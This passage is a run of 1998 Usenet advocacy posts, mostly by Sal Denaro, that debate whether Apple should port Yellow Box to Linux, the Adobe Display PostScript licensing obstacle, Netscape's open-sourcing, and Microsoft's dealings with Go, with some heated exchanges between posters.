>>If an application is already running (or on the dock in
OPENSTEP/NEXTSTEP),
>>then you can also command-drag the file and drop it onto the application to
>>cause that application to open the file. Even if the application doesn't
>>register for that type of file, it will be asked to open it anyway. It will
>>try to do so; if it can open the file, it will.
>
>But if the Application isn't running, and isn't in the Dock,
>command-dragging a document won't launch it (unlike, eg, in the current
>MacOS Finder).
>
>--
>PGP public key: http://golem.ph.utexas.edu/~distler/distler.asc
>
Using LaunchBar one can command-space (configurable) to a app title and drag
(no othe key required) any file to force that app to open it. If the app is
already open, you can drag the file to the app's name in a (hideable) list
of running apps. True, it's a world of partially pre-specified filenames,
but it's not very confining.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 16 Dec 1998 05:19:28 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <757ft0$5or@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost>
On 14 Dec 98 09:04:27 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
>> Why? Is the growth of Linux going to slow down? Is the Linux market going
>> to reach saturation?
>It's time-to-market issue, from Apple's POV. Until KDE and GNOME
>advance further and become established standards in the *nix market
>(with developers "invested" in their tools), there's an element of
>"virgin-ness" in that market. Besides, the KDE and GNOME tools are
>also targetting the WIN32 developers to growing extent.
It is true that the KDE and GNOME projects aren't standing still, but you
can also say the same about YellowBox.
I don't think that the Linux market will be anything close to saturation
any time soon. Not to mention that there is a project to get a working
YB like system on Linux right now (GNUStep)
>> Right now there are perhaps 8-12 million Linux users. I can see that becoming
>> 12-15 by mid '99 and 15-20 million by the end of '99. That is still only a
>> dent in the total potential market.
>IMO the potential Linux market includes some 100 million-odd systems
>that Windows 2000 "obsoletes" within two years.
Just because a market exists, doesn't mean that it is cost effective for Apple
(or anyone else) to build for it.
How many of those users even want to upgrade? A fair number of Wintel users
don't upgrade OSes, they just buy new machines and copy over the old data.
>> The software compatibility issue that put Apple in a niche was the inability
>> to run DOS and DOS Apps, and latter Windows and Windows Apps. The current
>I would just put that a little differently. It was about someone else
>(MS) controlling the proprietary APIs that populated the fiercely
>competitive, huge but open PC market. The Linux market is a whole
>different animal and Apple controls YB, thus the reference to Windows
>- a closed market by definition.
Users don't care about "open standards" or any crap like that. They care
about entry costs and product availability. Porting YB to Linux isn't going
to pull Apple out of niche status any more than the current availability
of YB for Windows has.
>> software compatibility issues are the lack of support for Visual Basic and
>> MS Access that many companies use for custom line of business Apps.
>>
>> I don't think Linux is going to help with this at all.
>
>I think it could - if YB is present - by taking mindshare off MS'
>tied-to-Windows lineup and potentially moving it to YB which,
>incidentally, could be the only thing spanning the Windows-Linux-Mac
>triangle, with excellent development tools to boot. However if the
Other than Java...
>Windows-Linux axis becomes more developed by 3rd party offerings or
>even by Microsoft (!), YB could be late to market and therefore it,
>and by extension Mac OS X, would again be fighting from a niche
>against _two_ matured markets.
They already are fighting from a niche against mature markets. What
exactly would change?
Lets just say you are right and EVERY LINUX user jumps for joy at YB for
Linux and runs out and gets it. The YB market is now 10 million or so users.
And lets say that none of those 10 million boxes are servers in cable
closets and that they are ALL potential customers for YB Apps.
Apple's market is now only a slightly larger niche (Even under this
deliriously optimistic scenario). And even if ALL future Linux users
become die-hard YB users, it would be 18 months to match the size of the
current Mac market (and we all know how well existing developers have
supported that market)
Can you see my point? Supporting Linux (at the cost of its own market and
the Windows market) doesn't move Apple out of niche status any more than the
current support of Windows does.
>> YB is a long term plan. I am reasonably certain that sales of WebObjects
>> will fuel development in YB for the next few years.
>And that will guarantee it an adequate developer adoption... for the
>next few years? I can't blame you for not being an optimist. :-)
No, but neither does a Linux port. There are no guarantees.
>> I don't see YB becoming that big a deal (outside of the old NeXT crowd)
>> for a few years.
>So any new PowerMacs will mainly/only appeal to those satisfied with
>Carbon, or to lesser extent Unix-users, for years to come? A no-growth
>strategy?
Why do you think this is a no-growth strategy?
Apple will sell upgrade to the current 68k owners (who now have a better
way to run existing Apps) and create a market for YB Apps. It isn't going
to happen overnight, and a Linux port isn't going to change that.
I think it makes a lot more sense to put a 100% effort into getting OSX
out as soon as it is possible. I don't think it makes any sense to pull
resources away from this to try and grab some part of a new niche market.
>> OSX on Intel could also provided a "relevance bridge". So could a ton
>> of other things (like IDE hard drives and USB based peripherals)
>OSX/Intel, even if it would be planned, would face a big, costly
>compatibility barrier which OTOH Linux solves or has solved by huge
>collective effort. Without that support, common peripherals mean only
>as much as they do to Mac users today.
And what would keep Apple from useing drivers from Linux? Heck, someone
wrote a ne2k driver for OSXS for x86 from reading the Linux sources.
As long as they obey the GPL (they would have to for Linux anyway) it
is 100% ok.
(Check out Stepwise's archives section for more info on that ne2k driver)
>> The Windows market share is how many times larger than the Linux market share?
>I was replying in the context of "reneging promises". (let's stay
>metric :^)
Keep in mind that most WebObjects customers are running the dev tools on NT.
>> Another good point. But seeing that those boxes won't run Mac Apps,
>> having Linux would do little good.
>I bought it for Rhapsody (i.e. YB apps), not Classic Mac apps.
>(remember my criteria).
And it will run them on OSX Server.
>> Apple is going to use OSX to convince those 22+ million to upgrade. FWIW,
>> a lot (maybe most) of those people are running '030 and '040 boxes.
>I doubt that the number of still adequately usable (thus still in
>active use) Macs is anywhere near 20 million. Thanks to their growing
>irrelevance as "internet machines" and discontinued Mac OS support
>even '040's are getting abandoned.
So Apple shouldn't be trying to sell them upgrades? They should say "we're
a Linux company now, go get an x86 box and all new Apps"
> Now, not late next year. How many
>of those who had to upgrade have already done so or just jumped ship?
You tell me.
>How many "pre-G3" owners will refuse another hardware upgrade after
>being burned with non-compatibility? Mac OS X's potential is also
>limited by the number of compatible systems available, not by the
>number previous and now-obsolete Macs ever sold. Around three million
>of such systems are sold in a year currently. Hopefully more next year
>but nevertheless...
And how many Mac users had no compelling reason to upgrade, and now find
themselves with a reason (OSX)?
>Linux market. OTOH, is very f l e x i b l e and looking forward to
>reaping a windfall from Microsoft's Windows 2000 push.
And only one OS can reap a windfall? The future is a big place and there
is plenty of room for everyone.
>> They do have to justify things to the stock holders.
>See you at the Town Hall next spring? :-)
No thanks. :)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 16 Dec 1998 05:19:29 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <757ft1$5or@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com> <74i2du$k1m@news1.panix.com> <FIiROLCWddLd-pn2-si8JhRpGm0ON@localhost> <74l0tt$i44@news1.panix.com> <FIiROLCWddLd-pn2-i9woQjITKjdN@localhost> <74niq6$but@news1.panix.com> <FIiROLCWddLd-pn2-3BcsyxQ4PxDT@localhost> <74qc66$7pg@news1.panix.com> <FIiROLCWddLd-pn2-Xdd3x94BzHOY@localhost>
On 14 Dec 98 14:20:19 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
>> > The question Apple faces is
>> >whether potential sales on those platforms justify the costs of
>> >porting and support by Apple.
>> Right now? No. And the costs would be less than or equal to the costs
>> of porting to Linux first.
>I consider this as a pro-YB for Linux argument.
And it is. It is a "pro-YB when the issues preventing it have been resolved"
argument.
>Sun is bundling Linux with their SPARC hardware so the h/w investment
>would be safe with YB for Linux. This would actually speak dropping
>the Solaris port altogether, if Apple's resources are tight.
If Apple told its Solaris users to dump Solaris for Linux they would
probably lose those customers. Apple lacks the credibility in those
markets.
>> I don't doubt that linux is building marketshare in the enterprise
>> market, but as it stands now that market is the territory of big unix
>> servers. Just about every big shop I know uses NT on the desk and
>> Sun or HP hardware in the back. For now, Solaris is more important
>> to WO than Linux.
>Is it Solaris, or the SPARC hardware, that would be important for
>Apple to support for WebObjects' sake? Sun's hardware supports and is
>even being bundled with Linux.
What percent is running Linux?
>> If Apple went to existing WO on Sun/HP customers and said, "we don't
>> want to support HP and Sun hardware and software, please switch to
>> Linux" they would lose both credibility and customers.
>Sun is bundling their SPARC hardware with Linux, and even planning to
>build Linux-compatibility right into Solaris as well. What are _they_
>nudging their customers towards?
Better interoperability between the two OS products. Why does this mean
that Apple should pull people off of OSX for the g3, or YB for Windows
to support Linux?
>> Any OS can provide YB a neutral growing place.
>But proprietary OS vendors are known to intentionally create
>incompabilities or "changes" into their OSes if it helps them fend off
>potential competition.
Kind of like the elf support schism in the FreeBSD camp that is pulling
them away from NetBSD and OpenBSD?
> No one has
>such ambitions among the Linux ranks, and being open source, any
>problems could be found and fixed even within hours of release anyway.
>Will Solaris be friendly towards YB? Will the friendliness last, esp.
>if YB is seen as a competitor-on-steroids to Java?
Will Solaris customers stand for "mystery" changes? They haven't so far.
>Is Solaris port
>worth a lot of effort and high priority, considering Sun, too, is
>embracing Linux on their hardware?
Seeing that parts of it are already done, yes.
>> And why does this have to be on Linux? If a person wants to run YB on
>> an x86 Unix platform, isn't OSX just that?
>Apple has been saying that OSX will be PowerPC only. What other x86
>platforms, esp. x86 Unix platforms would you consider more important
>to Yellow Box's success than Linux, all things considered?
OSX server will run on x86. While Apple hasn't commited to OSX on Intel,
I haven't seen any statements that Apple _isn't_ going to evaluate it
after OSX on the g3 ships.
>To sum things up, I'm not saying Solaris' or HP/UX's Yellow Box
>support should be scrapped - only that Linux IMO deserves a strategic
>revaluation.
I think it would be much easier to sell YB to existing WebObejects users
than it would be to sell to a new market.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 16 Dec 1998 05:19:31 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <757ft3$5or@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <3670A26C.6E69C31E@nstar.net> <74u5bc$bb4@news1.panix.com> <3672BC37.53083A9@nstar.net> <74ujrs$faj@news1.panix.com> <367316E2.38925C5F@nstar.net> <75119s$712@news1.panix.com> <36754DE4.A7435E0B@ericsson.com>
On Mon, 14 Dec 1998 11:41:56 -0600,
Michael Peck <michael.peck@ericsson.com> wrote:
<<snip, answered by Maury>>
>> Now, why should they do that BEFORE they resolved
>> the issue of free runtimes?
>Who said they had to resolve that issue?
Adobe.
Apple can not sell YB on any platform without first licensing PS from Adobe
to include in the DPS layer. And for the N^2 time, Adobe has killed DPS and
they made it clear to everyone that they are not going to continue supporting
it on existing platforms, let alone work on porting it to new platforms.
At what point is that going to sink in?
Even if it took Apple two seconds to port to Linux, they would still have to
work out a deal with Adobe, and Adobe has made it clear that they don't want
any deals. Any effort to porting YB to Linux before this is resolved is a
wasted effort.
> I never stipulated that YB for
>Linux had to be free. I never said it had to be Open Source. Quit adding
>conditions to the argument.
Yet in article <3676BE9A.D76FE8DE@ericsson.com> you stated:
"The Linux community will not accept "black box" solutions."
>> You keep dodging those two questions.
>*laugh* That's funny.
Sorry Mike, but they are laughing AT you not WITH you.
>[all-caps statements snipped; when you can stop shouting and start
>acting like a grown-up on USENET, we'll talk]
When you can get a point the first time someone makes it, it will no longer
be done. Chuck and I have both stated this a number of time. WTF is the
problem?
>> I can point out at least FIVE TIMES where I have stated that a port of YB for
>> Linux would be dependent on DPS, a product that Adobe is activly trying to kill;
>> and therefore probibly not the best use of Apple's resources.
>What is this flailing about? You don't have the slightest idea how to
>follow this conversation, have you? You just pick random bits of
>conversation from thin air and throw them at people, apparently.
And now you drop to your typical pattern of name calling and dodging.
<<more drivel snipped>>
>> >What does the NeXT UI have to do with a Linux port of Yellow Box?
>> >Nothing.
>> Linux lacks a "native UI", therefore a YB port to Linux would use one of the
>> existing UIs supported by YB.
>And that, my friend, is something you just made up out of thin air. Take
>a bow.
I didn't pull it out of thin air, I pulled it out of the YB development guide.
As it stands now, there are 3 UI options (Win, MacOS and NeXT) as well as
a NoUI option. One of those would have to be chosen (unless you are advocating
that Apple create some new UI just for Linux)
Linux lacks a "native UI" for YB to emulate. This is the fault of X (or rather
ICCCM) that makes it a practical impossibility to either A) have GUI
standardization with strict enforcement or B) have GUI proferation with
acceptable integration. X also (pretty much) requires you to have one or more
extensions to do any acceptable level of graphics (MIT-SHM, Shape, DPS and DGA)
>> The likely candidate is the MacOS that currently
>> runs on OSX Server. While it looks like MacOS, the feel is a lot more like
>> NeXTStep (window behavior, D&D, C-C-P, Services, tear off menu, common dialogs
>> et al) If you didn't like NS, I very much doubt you'll like the MacOS UI in
>> YellowBox.
>Why don't you write the port? You have clearly already made all of the
>critical design decisions for Apple.
What UI should they use? None?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 16 Dec 1998 05:19:26 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <757fsu$5or@news1.panix.com>
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <adtF3tz0y.Ktn@netcom.com> <FIiROLCWddLd-pn2-T8of9jZf6IUk@localhost> <adtF3vKso.7Es@netcom.com> <FIiROLCWddLd-pn2-ddqUWQ9NIGP9@localhost> <75119u$712@news1.panix.com> <FIiROLCWddLd-pn2-3omxzdb9d97c@localhost>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
On 14 Dec 98 09:04:20 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
>> I agree with this 100%, Apple should work to open up YB development.
>> What we disagree on is the method of doing this :)
>Actually, I believe our disagreement lies mostly in the time frame
>issue (with the underlying question being whether or not Linux has
>much strategic importance in near to medium term).
I think that's the major sticking point.
>Allow me to spell out some of my beliefs again. The above system would
>be more attractive to the Windows-using public (later in '99) _if_
>Yellow provides tangible benefits. Even if YB runtime itself is free
>Apple will benefit from the "network effect" with the market for their
>add-ons, tools and services growing. It's also better for Apple to
>have new PC's shipping/running with YellowHat than Windows which would
>reduce Apple's synergistic opportunities.
You don't have to convince me that Yellowbox for Linux would be a good
idea. Nor do you have to convince me that a YellowBox everywhere platform
is good for Apple.
What I question is the logic that Apple should pull resources away from
building YB on its hardware, and on Windows to do it.
A machine that turns lead into gold would be a major money maker for
Apple, that doesn't mean that it is a realistic short term goal.
>I would like to see Apple begin image-building by making (little)
>concessions towards the open source (Linux) crowd at regular
>intervals.
Like creating the MkLinux platform? Or exchanging code with the BSD
groups? Or making the code mods to the various unix utils they include
with OSX available for download?
While that is hardly _major_, it does demonstrate that Apple is aware
that the free software movement exists.
<<clip>>
>> I wouldn't be shocked if the source for the BSD parts of OSX server
>> were shipped with the OSX dev tools. I would be _very_ shocked if Jobs
>> introduced Larry, Linus and RMS to the crowd at Mac world.
>Larry... "Jobs and I are friends ya know", Linus... (to audience) "why
>don't you all join us here on stage?" RMS... "grrrr... lemme outta
>this &%#¤ gage!!"
I can think of a good reason why that won't be the case. I'm not aware of
any auditorium that could comfortably house the egos of Steve Jobs and
Richard Stallman. :)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 16 Dec 1998 05:19:30 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <757ft2$5or@news1.panix.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com> <74niqa$but@news1.panix.com> <74p2ch$38gg@yuma.ACNS.ColoState.EDU> <74qflc$8po@news1.panix.com> <3670D91D.A02D0BE7@nstar.net> <74u5bh$bb4@news1.panix.com> <slrn77a67c.jsk.danielt@techweb.dgii.com>
On 14 Dec 98 13:57:24 GMT, Daniel Taylor <danielt@techweb.dgii.com> wrote:
>>The support of the Linux community may or may not increase the market
>>share of Netscape. It is too early to tell. As it stands now, the action
>>of making netscape opensource has not increased netscapes market.
>>
>Market share in the browser market is largely skewed by
>events outside the browser market.
Going opensource did not change this.
>IE would have a fairly large market share regardless of other
>considerations simply by being at least as good as Netscape
>and Microsoft branded. Being bundled gives it an effective lock
>on the Windows browser market and the fact that Netscape has
>any market share left in that market is nothing short of
>incredible.
This lock (at least on Windows) won't be broken by being opensource.
>Under Linux there are few options, and Netscape has some advantages
>there. Mozilla is sufficiently open to take full benefit of those
>advantages. If this rolls back to Windows, so much the better.
>
>So watch, wait, do whatever you want. I'd say that it is still
>early to tell the final impact of Mozilla.
That's one of the prime reasons why I disputed claims that Netscape is an
example of a company that was saved by going OpenSource.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: 16 Dec 1998 05:19:32 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <757ft4$5or@news1.panix.com>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <3673e51c.3291382@news2.asan.com> <199812131458381360696@ts2-18.aug.com> <367434cd.1058311@news2.asan.com> <19981214000506480154@ts2-18.aug.com>
On Mon, 14 Dec 1998 00:05:06 -0500, Rick <nojunkhattonr@aug.com> wrote:
>Willy <willy1@rocketmail.com> wrote:
>> >Oh, ask Go computing, and Digital Research about Microsofts thug-like
>> >marketplace clout.
>> Go killed itself (like the Newton) The PalmPilot is proof positive
>> that if you implement an idea properly, it will take off.
>Microsoft videotaped Go's demo, buitl a demo that merely drew the same
>screens as the Go demo, preannounced Pen windows and froze the market,
>killing Go. Pen Windows, when it did finally arrive, sucked. It stil
>does.
They also gave away free copies of the PenWinSDK at a time when Go
was selling $30 demos of penpoint that ran on dos machines, as well as
$250 SDK kits to pay the bills.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 16 Dec 1998 05:25:17 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <757g7t$5s2@news1.panix.com>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <F40J4r.4FE@T-FCN.Net> <7563lg$89l$1@nnrp03.primenet.com> <F40s2z.9EC@T-FCN.Net> <slrn77deao.jp4.jedi@dementia.mishnet> <3676BE9A.D76FE8DE@ericsson.com>
On Tue, 15 Dec 1998 13:55:06 -0600, Michael Peck
<michael.peck@ericsson.com> wrote:
>jedi@dementia.mishnet wrote:
>> Either the source needs to be free or the specification needs to be.
>I will affirm this. The Linux community will not accept "black box"
>solutions.
<<Boggle.>>
One would wonder why you were advocating that Apple port YB to Linux if you
believed this. Especially since you clarified your position to stating that
Apple doesn't have to give it away.
I'm curious how you are going to muddle this bit of pretzel logic. My guess
it that you'll dodge the point and fire off a bunch of insults.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 16 Dec 1998 05:25:18 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <757g7u$5s2@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <3670A26C.6E69C31E@nstar.net> <74u5bc$bb4@news1.panix.com> <3672BC37.53083A9@nstar.net> <74ujrs$faj@news1.panix.com> <367316E2.38925C5F@nstar.net> <75119s$712@news1.panix.com> <36754DE4.A7435E0B@ericsson.com> <F40JH4.4MM@T-FCN.Net> <3676B13C.77DDB0D1@ericsson.com>
On Tue, 15 Dec 1998 12:58:04 -0600,
Michael Peck <michael.peck@ericsson.com> wrote:
>He said that Apple must decide between throwing all of its resources at
>an installed base of 22+ million or diverting some of them to "some
>portion of 8-10 million". The dishonesty of that comparison is plain; if
>Apple could only shoot for "some portion of 8-10 million" the best it
>can hope for in the Macintosh market is "some portion of 22+ million".
>The very ambiguity and sleight-of-hand in the comparison demanded
>clarification.
Apple's current installed base can receive immediate benefit from OSX. It
is a modern OS that will run thier existing MacOS Apps, as well as updated
versions of those Apps.
The benefit that YB will provide the Linux community is not as clear cut.
<<snip>>
>If Sal's question had been "do you think Apple should divert OS X
>resources to a YB Linux port, considering that OS X will probably
>achieve 10 million users, while YB Linux can only get some percentage of
>that?", then I would have answered "yes". It's pretty simple.
So you would advocate action where Apple would reach a smaller number
of users, just to support Linux? You are advocating action where OSX
would be delayed after posting an endless barrage of time is running
out for Apple fud?
>> Now is10 million of the current Mac market better than 8-10 million of
>> the current Linux market? Hard to say, there's arguments that go both ways.
>Nobody's saying one is better than the other. I don't know what in the
>world that has to do with anything.
You are saying that one is better than the other. You stated (in that very
post) that you would advocate action where Apple would support Linux, even
if it ment that they would have to delay OSX for Apple's platform. Clearly
you think it is more important that Apple support Linux users rather than
its own platform.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 16 Dec 1998 05:27:21 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <757gbp$5st@news1.panix.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com> <74niqa$but@news1.panix.com> <slrn76v50k.25i.jedi@dementia.mishnet> <74qc67$7pg@news1.panix.com> <36750259.171E58DC@ix.netcom.com>
On Mon, 14 Dec 1998 06:19:37 -0600, Tim Kelley <tpkelley@ix.netcom.com> wrote:
>The Open Source browser (ver 5) has not been released yet, so your point
>is meaningless. It scheduled for release mid-next-year, so check back
>then. ver 4x is still a bloated crap-hog.
I would go along with this if I thought the best product always wins; but
I don't.
I don't doubt that NN5 will be great. What I do doubt is that it will
save Netscape.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 16 Dec 1998 05:29:32 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <757gfs$5td@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <754lhd$gi1$15@blue.hex.net>
On 15 Dec 1998 03:37:17 GMT, Christopher Browne <cbbrowne@news.hex.net> wrote:
>I agree with a whole lot of what you've said; I suggest keeping in mind
>when comparing Windows to Linux that Windows represents a "probably
>hostile" platform from the perspective that *if* YB becomes popular, its
>stability and overall usefulness on Windows may reasonably be expected
>to become a target for Microsoft to try to unseat.
I think any attempt at to do anything to the Windows marketshare will be
viewed with hostility by Microsoft.
>In contrast, the Linux community has been generally friendly towards
>various forms of emulation and ABI/API efforts.
I don't doubt that. And I am most certainly not advocating that Apple not
port YB to Linux. I think that they should, when it makes sense to. Right
now Apple should be working on OSX and giving its Mac users a reason to
buy new Macs.
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Tue, 15 Dec 1998 16:26:27 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77dvhj.lqi.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <3676B50C.4DC3479F@ericsson.com> <petrichF40y14.6rA@netcom.com> <3676CF96.376453F1@ericsson.com> <petrichF410no.BFK@netcom.com> <3676E18C.9C5626BF@ericsson.com> <slrn77dq5j.l8s.jedi@dementia.mishnet> <3676F5C2.ADBF3671@ericsson.com>
On Tue, 15 Dec 1998 17:50:26 -0600, Michael Peck <michael.peck@ericsson.com> wrote:
>jedi@dementia.mishnet wrote:
>
>> At least the politician has to pay some lip service
>> to the constraints that are supposed to govern them.
>> Whereas, 'corporate strongmen' get that nice 'but
>> business is supposed to be amoral' loophole.
>
>You don't say what you mean, which makes your comments, basically, a
>rhetoric minefield. For instance, "'but business is supposed to be
>amoral' loophole." Loophole through what? What do you mean by loophole?
>
>The only argument I can discern in this muddle would something to the
>effect of "we can't legislate against amoral business practices simply
>because they're amoral; it's not our business to legislate morality",
>and that you appear to disagree with that argument. Is that right?
That depends upon your N.E.T. and notions of public policy.
Legislating against amoral business practices is actually
quite effective. Corporations gain much from the state.
They have a stake in being seen as lawful & a motivation
to obey the law if it is enforced...
...as opposed to some Crip that perceives no
benefit from not offending the current social order.
>
>You're going to have to be a bit more elucidatory when you make
>arguments.
>
>> If you don't think they take advantage of it to similar
>> effect (as a political strongmen) you are rather naive.
>
>Well, that clinches it, right? You've finished because you've played
>your trump card: claiming opponent's naivete concerning matters which
>desperately need your learned and highly-experienced attention?
>
>*laughing*
It's not a matter of elitism but simply having
paid some attention in the process of public
education. No great secrets are involved here.
>
>Okay then, go outside and play with the other elite kiddies. Excellent
